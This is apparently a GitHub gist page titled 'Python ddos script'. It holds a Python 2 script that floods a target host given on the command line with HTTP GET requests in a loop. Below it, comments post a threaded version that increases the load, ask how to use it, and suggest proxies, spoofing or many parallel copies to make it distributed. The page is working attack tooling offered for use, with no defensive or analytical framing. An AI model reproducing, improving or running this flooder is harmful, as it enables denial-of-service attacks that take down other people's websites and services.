Skip to content

Instantly share code, notes, and snippets.

@wahengchang
Forked from tinnguyenz/ddos.py
Created April 27, 2016 14:17
Show Gist options
  • Save wahengchang/5a25f9fc1bdc157835d20d0a974ebce7 to your computer and use it in GitHub Desktop.
Save wahengchang/5a25f9fc1bdc157835d20d0a974ebce7 to your computer and use it in GitHub Desktop.
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
s.close()
for i in range(1, 1000):
attack()
@ripmeep
Copy link

ripmeep commented Feb 25, 2018

Thats not a DDoS. It's only a DoS. DDoS=Distributed Denial Of Service while DoS=Denial Of Service. For it to be a DDoS you need to implement threading. Its not perfect obviously, but something like:

import socket, sys, os, threading, time
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];
global level  
level=sys.argv[3]
def attack():  
    #pid = os.fork()  
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        s.connect((sys.argv[1], 80))  
        print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
        s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
        s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
        s.close()
    except:
        print(">> Socket Dead.")
    for x in range(1, 2000):
        time.sleep(0.009) #So it doesnt break after going to fast        
        attack()
def threader():
    global threads
    threads=[]
    for i in range(1, int(level)):
        t=threading.Thread(target=attack)
        threads.append(t)
        t.start()
threader()

@Byonurex
Copy link

Byonurex commented Aug 5, 2018

Good Thx

@binsarjr
Copy link

how use?

@DonExo
Copy link

DonExo commented Sep 20, 2019

What about using different IPs/proxies?

@DDOScauseimcool
Copy link

Thats not a DDoS. It's only a DoS. DDoS=Distributed Denial Of Service while DoS=Denial Of Service. For it to be a DDoS you need to implement threading. Its not perfect obviously, but something like:

import socket, sys, os, threading, time
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];
global level  
level=sys.argv[3]
def attack():  
    #pid = os.fork()  
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        s.connect((sys.argv[1], 80))  
        print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
        s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
        s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
        s.close()
    except:
        print(">> Socket Dead.")
    for x in range(1, 2000):
        time.sleep(0.009) #So it doesnt break after going to fast        
        attack()
def threader():
    global threads
    threads=[]
    for i in range(1, int(level)):
        t=threading.Thread(target=attack)
        threads.append(t)
        t.start()
threader()

run it in 15 cmds and it is

@eonDaGawd
Copy link

Thats not a DDoS. It's only a DoS. DDoS=Distributed Denial Of Service while DoS=Denial Of Service. For it to be a DDoS you need to implement threading. Its not perfect obviously, but something like:

import socket, sys, os, threading, time
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];
global level  
level=sys.argv[3]
def attack():  
    #pid = os.fork()  
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        s.connect((sys.argv[1], 80))  
        print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
        s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
        s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
        s.close()
    except:
        print(">> Socket Dead.")
    for x in range(1, 2000):
        time.sleep(0.009) #So it doesnt break after going to fast        
        attack()
def threader():
    global threads
    threads=[]
    for i in range(1, int(level)):
        t=threading.Thread(target=attack)
        threads.append(t)
        t.start()
threader()

that's still not a ddos, it's coming from one host, it would have to be spoofed or proxied for it to be a ddos

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment